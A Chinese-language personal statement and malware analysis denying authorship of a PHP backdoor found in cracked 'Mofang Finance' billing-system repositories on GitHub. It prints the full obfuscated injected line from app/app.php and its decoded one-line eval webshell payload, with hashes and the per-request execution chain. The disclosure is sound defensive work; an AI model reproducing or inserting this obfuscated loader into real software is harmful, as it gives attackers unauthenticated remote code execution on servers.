关于仓库 zjmfv376 的澄清声明
大家好,这里是云默安。
因先前存在小矛盾,GitHub 用户 mayio2008 (其账户自称 “一诺Yn、马**”)发布的仓库 zjmfv376(自称"魔方财务系统 v3.7.6 全解密版")在群友的安全扫描发现携带 PHP 恶意后门。扫描揭示的后门载荷中,POST 参数名写作 YunmoanIsGay(直接指向我的账号名 Yunmoan),仓库内 vendor/autoload.php 的注释也被改写为「@generated by Yunmoan」。
同时,我也发现该账号关联仓库 https://github.com/mayio2008/zjmf 以同样方式携带同样恶意代码并尝试指向我的身份,影响本人名誉权。
在此,本人正式声明:
以上两个仓库均与我无关;且该后门非我所写,我从未参与其编写、发布或传播。本人已向Github官方提交仓库滥用举报,并依法保留侵犯我名誉权追究法律责任的权利!本人仅隶属 ZGIT 关联组织,该用户与其所属组织亦与至远光辉信息技术(天津)有限公司无任何关联。
我不是 gay,也没有M倾向。



一、事实
首先我们确定:后门确实存在。 位于 app/app.php 第 18 行。反混淆后的真实载荷为:
911177;@eval($_POST[YunmoanIsGay]);2733531;这是一个无需登录、站点每次加载都会执行的 PHP 远程执行(RCE)后门:只要 POST 携带参数 YunmoanIsGay=PHP代码,服务器就被完全控制。
仓库首个提交(f01b454,作者 ak2l8kkz the <boydvode@proton.me>)就内置了一个无需认证的 PHP 远程代码执行(RCE)后门:
文件:
app/app.php第 18 行反混淆后载荷:
911177;@eval($_POST[YunmoanIsGay]);2733531;只要 POST 参数
YunmoanIsGay携带 PHP 代码,服务器即可被完全控制每个 HTTP 请求都会加载执行(ThinkPHP 定制版
App::init()自动 includeapp/app.php)

经过进一步调查,我们发现关于本仓库所有提交的发布方均为匿名,提交作者邮箱为 boydvode@proton.me,README 联系方式为 zjmfv375@boydvode.anonaddy.com / ak2l8kkz@anonaddy.me,均为匿名转发邮箱,刻意规避溯源。仓库内容为商业计费系统(魔方财务/zjmf)的破解/脱壳版本,本身即涉嫌侵权传播。
在此向大家提证据指纹哈希,亦可自行比对:
恶意文件完整内容 SHA256(git 对象):
8bc591325ef9ff634c16dfc1c03894dcee95c36ab6a525e734759770b7d047b7第18行注入代码 SHA256:
4e08cb470290ea7f02dcf66c620eb70dd2258522b223b63722f6f55241e83aa5解码后载荷 SHA256:
8840cf865f8579a78068c27eb54076f1719e1d42f5c53bbe2676ec919b385f7e解码后载荷原文:
911177;@eval($_POST[YunmoanIsGay]);2733531;
线上公开样本(VirusTotal,SHA256 与上表一致):https://www.virustotal.com/gui/file/8bc591325ef9ff634c16dfc1c03894dcee95c36ab6a525e734759770b7d047b7
该作者名下另一仓库 mayio2008/zjmf(自称 v3.7.5)中,同一文件 SHA256 即与 v3.7.6 仓库完全相同(8bc59132…),两个仓库其余数千个文件也逐字节一致,只有 README/version 两个文件里的版本号不同(3.7.5 / 3.7.6),即同一份代码、仅改了个版本号标牌,发了两个仓库。官方不同版本之间不可能逐字节相同——这印证使用的是同一份预制后门批量投放,而非"某个版本无意自带"。
二、本人自证
本人再此处作出自证:
首先,攻击者不会辱骂自己。 给自己的后门命名为
YunmoanIsGay,语义上是辱骂、冒犯某个人,而不是一种“署名”。若真是我写的,作者不会用一个骂自己的词当后门密钥,我又不是M。他的栽赃有唯一指向性。 全仓库仅两处出现
Yunmoan:一是后门 POST 密钥,二是 autoload 注释篡改。这两处都服务于同一目的——把我的名字钉在恶意处,我与 mayio2008(马*诺)此前因个人事务存在矛盾。此次后门指名道姓、把矛盾对象写进攻击代码,是明显的指向性栽赃。
客观地说,代码分析无法从技术上证明"后门具体是谁写的"——git 作者名可伪造,匿名邮箱正是用来逃避溯源的。因此我不能说他是不是作者,这些要交给平台和有关部门去核实。我能清晰声明的是:后门不是我写的,仓库亦与我无关。这个人也和我所在组织ZGIT没有任何关联。
三、后门技术解析
关于技术解析,我感觉应该写清楚,但本人不是相关专业出身所以用词可能不太准确,所以请教了D老师让他协助我完成了这一份技术分析报告,大家可以参考一下。
以下分析主要是针对仓库 https://github.com/mayio2008/zjmfv376 进行的,但是我们发现实际上另一仓库 https://github.com/mayio2008/zjmf 和他一模一样,因此有参考价值。
0. 摘要
该 GitHub 仓库首次提交(commit f01b454)即携带一个持久化、无需认证的 PHP 远程代码执行(RCE)后门,其真实载荷为:
911177;@eval($_POST[YunmoanIsGay]);2733531;
后门位于 app/app.php 第 18 行,通过多重混淆(create_function + base64_decode + str_rot13 + chr() 算术)躲避静态特征检测,并在网站每一个 HTTP 请求的框架初始化阶段被自动执行。攻击者只要在 POST 请求中提交 YunmoanIsGay=<任意PHP代码>,即可在服务器上执行任意命令(读库、写文件、反弹 Shell、横向渗透)。
该文件同时被 Windows 杀软(火绒)识别为 Trojan/PHP.WebShell.s,并在 git checkout 过程中将其从磁盘删除——这也是在文件系统中直接找不到该文件的原因;恶意内容仍完整存在于 git 对象库中,本报告已从 git 还原取证。
1. 仓库概况
说明:发布方全程使用 protonmail + anonaddy 匿名邮箱,刻意规避真实身份溯源;仓库内容为商业付费系统(魔方财务/zjmf)的破解+脱壳版本,本身即涉嫌侵权传播。
2. 后门位置与内容
2.1 位置
app/app.php ← 后门所在文件(框架配置加载清单之一)
app/app.php 第 18 行 ← 注入的恶意代码(紧邻第 19 行的 return 之前)
app/app.php 本身是一个合法的"应用主配置"文件(返回庞大的配置数组),攻击者把恶意代码精准插在 return 之前,伪装成正常配置逻辑的一部分。
2.2 恶意代码原文(第 18 行)
$mpZp=create_function(chr(14040/390).chr(585-470).base64_decode('bw==').str_rot13('z').str_rot13('r'),str_rot13('r').chr(966-848).chr(270-173).chr(56376/522).base64_decode('KA==').base64_decode('JA==').chr(85215/741).str_rot13('b').base64_decode('bQ==').chr(0x1cf-0x16a).chr(870-829).str_rot13(';'));$mpZp(base64_decode('OTExM'.'Tc3O0'.'BldkF'.'sKCRf'.''.base64_decode('VQ==').str_rot13('R').str_rot13('9').base64_decode('VA==').chr(01173-01045).''.''.chr(36120/516).chr(35844/309).chr(0x7896/0x157).chr(0265344/01641).str_rot13('J').''.'5tb2F'.'uSXNH'.'YXldK'.'TsyNz'.'MzNTM'.'xOw=='.''));
2.3 反混淆解码过程
第一层:create_function 参数还原
即:
create_function('$some', 'eval($some);') // 等价于 function ($some) { eval($some); }
第二层:对调用参数(Base64)解码
OTExMTc3O0BldmFsKCRfUE9TVFtZdW5tb2FuSXNHYXldKTsyNzMzNTMxOw==
↓ base64_decode
911177;@eval($_POST[YunmoanIsGay]);2733531;
注意:源码中把这段 Base64 按 5~6 字符切成十几段,中间用
''、base64_decode、str_rot13、chr()混拼,是将整串拆散以绕过"长 Base64 特征"检测的手段。
2.4 完整语义
// 1) 定义并立即调用一个"对参数执行 eval"的匿名函数
$mpZp = function ($some) { eval($some); };
$mpZp('911177;@eval($_POST[YunmoanIsGay]);2733531;');
// 2) 进入 eval 后执行三句话:
// 911177; → 无意义整数字面量(噪声填充,绕过"开头即 eval"特征)
// @eval($_POST[YunmoanIsGay])→ 真正的后门:把 POST 参数 YunmoanIsGay 的取值当 PHP 代码执行
// 2733531; → 无意义整数字面量(同上,收尾噪声)
结论:这是一个标准的「一句话木马」RCE 后门,密钥为 YunmoanIsGay。任何人只要知道该密钥(该值直接出现在被解密、可被扫描到的代码中),即可向站点发送 POST YunmoanIsGay=断言代码 获得服务器控制权。
3. 执行链:为什么每个请求都会触发
public/index.php→vendor/thinkphp/base.php→Container::get('app')->run()ThinkPHP
App::initialize()→App::init('')App::init()(vendor/thinkphp/library/think/App.php:322)中有一段 zjmf 定制逻辑:
// 20210618 新增 加载主要配置
$mainConfigNames = ['app', 'database', 'template', 'paginate'];
foreach ($mainConfigNames as $configName) {
$this->config->load($path . $configName . $this->configExt, $configName);
}
其中
$path = APP_PATH(即.../app/),$configName='app'→config->load('.../app/app.php')Config::load()内部即include该文件 → 第 18 行恶意代码每请求必执行
说明:该"加载主配置"机制是 zjmf 商业版对 ThinkPHP 的合法定制,用于加载其配置布局;后门是搭这个既有机制的车,让注入行随配置加载自动执行,属于"合法机制中的恶意注入"。
4. 其他篡改痕迹
除 app/app.php 外,还发现针对分析对象的指名道姓的篡改:
全库唯一出现的 YunmoanIsGay / Yunmoan 字样即上述两处:后门 POST 密钥 + autoload 注释。全库未发现第二处同款注入(create_function+rot13+chr+base64 组合仅 app/app.php 一处;str_rot13 在该仓库非插件/非 vendor 文件中仅出现于此)。
5. 证据哈希
★ 恶意配置文件 app/app.php(git 对象完整内容)SHA256:
8bc591325ef9ff634c16dfc1c03894dcee95c36ab6a525e734759770b7d047b7
★ 第 18 行注入代码 SHA256:
4e08cb470290ea7f02dcf66c620eb70dd2258522b223b63722f6f55241e83aa5
★ 解码后 RCE 载荷 SHA256:
8840cf865f8579a78068c27eb54076f1719e1d42f5c53bbe2676ec919b385f7e
★ 解码后载荷原文:
911177;@eval($_POST[YunmoanIsGay]);2733531;
线上公开样本(VirusTotal,SHA256 与上表文件哈希一致): https://www.virustotal.com/gui/file/8bc591325ef9ff634c16dfc1c03894dcee95c36ab6a525e734759770b7d047b7
5.1 跨仓库同源投毒:第二仓库 mayio2008/zjmf
发现同 GitHub 账号下的另一仓库 https://github.com/mayio2008/zjmf(README 自称 v3.7.5)同样携带该后门:
结论与影响:
两个"不同版本"的仓库实为同一份代码导入,连 commit 对象
f01b454都完全相同,只是把版本号标签改了。恶意
app.php在两个仓库中逐字节相同 → 使用同一份预制后门批量投放。若真是不同的官方版本,其配置文件内容不可能逐字节相同。这直接否定了"后门是某个版本自身带的/无关人员误带"的解释:同一账号下多个仓库投放同一份带毒文件,指向同一投毒者系统性操作。
举报时应将该作者名下两个仓库及其同源转载一并提交。
6. 结论与可声明边界
可确证的技术事实:
仓库首个提交即携带本 RCE 后门(见 git 历史
f01b454)。后门位于
app/app.php:18,解码后为911177;@eval($_POST[YunmoanIsGay]);2733531;,每个请求自动执行,POST 密钥YunmoanIsGay即完全接管站点。同一仓库还有
vendor/autoload.php注释级篡改,将Yunmoan之名写入标准 Composer 输出。发布方全程署名匿名(protonmail / anonaddy),无真实身份信息。
关于"这是谁写的"(重要边界):
从代码/取证层面无法 100% 指认编写者身份(git 作者名可伪造,匿名邮箱即是为规避溯源)。
但"后门密钥自称为
IsGay(对某人的辱骂)"这一点具有高度辨析意义:没有攻击者会用辱骂自己的词给自己的后门命名。密钥的语义明确指向第三方受害者而非作者,属于栽赃标签,而非"作者签名"。结合当事双方存在个人矛盾、该后门中指名道姓使用其用户名等信息,上述事实构成"栽赃"的强有力佐证逻辑,但不能被表述为"铁证"。
四、写在最后的话
正在外面和朋友聊天呢,突然有群友来加我好友说“非常牛逼的混淆”,“你gayhub仓库上的魔方财务376”,我说我怎么不知道我写了什么东西(😅

去年晚些时候因为某人“借鉴”了我们 Natayark ID 还死不承认所以我在我自己群阴阳怪气了某人,😅然后某人现在还怀恨在心?什么xxs行为?
有些人技术技术不懂还搞这种下三滥的手段栽赃?我是没招了
希望大家请勿部署/传播该破解源码。 已部署的组织请立即删除 app/app.php 中的后门行,并排查服务器是否存在异常访问痕迹。
恳请大家谨防以"这份代码是你写的吧"为话术,把攻击者的栽赃变成受害者的污名。以事实为根据。
谢谢你看到这里!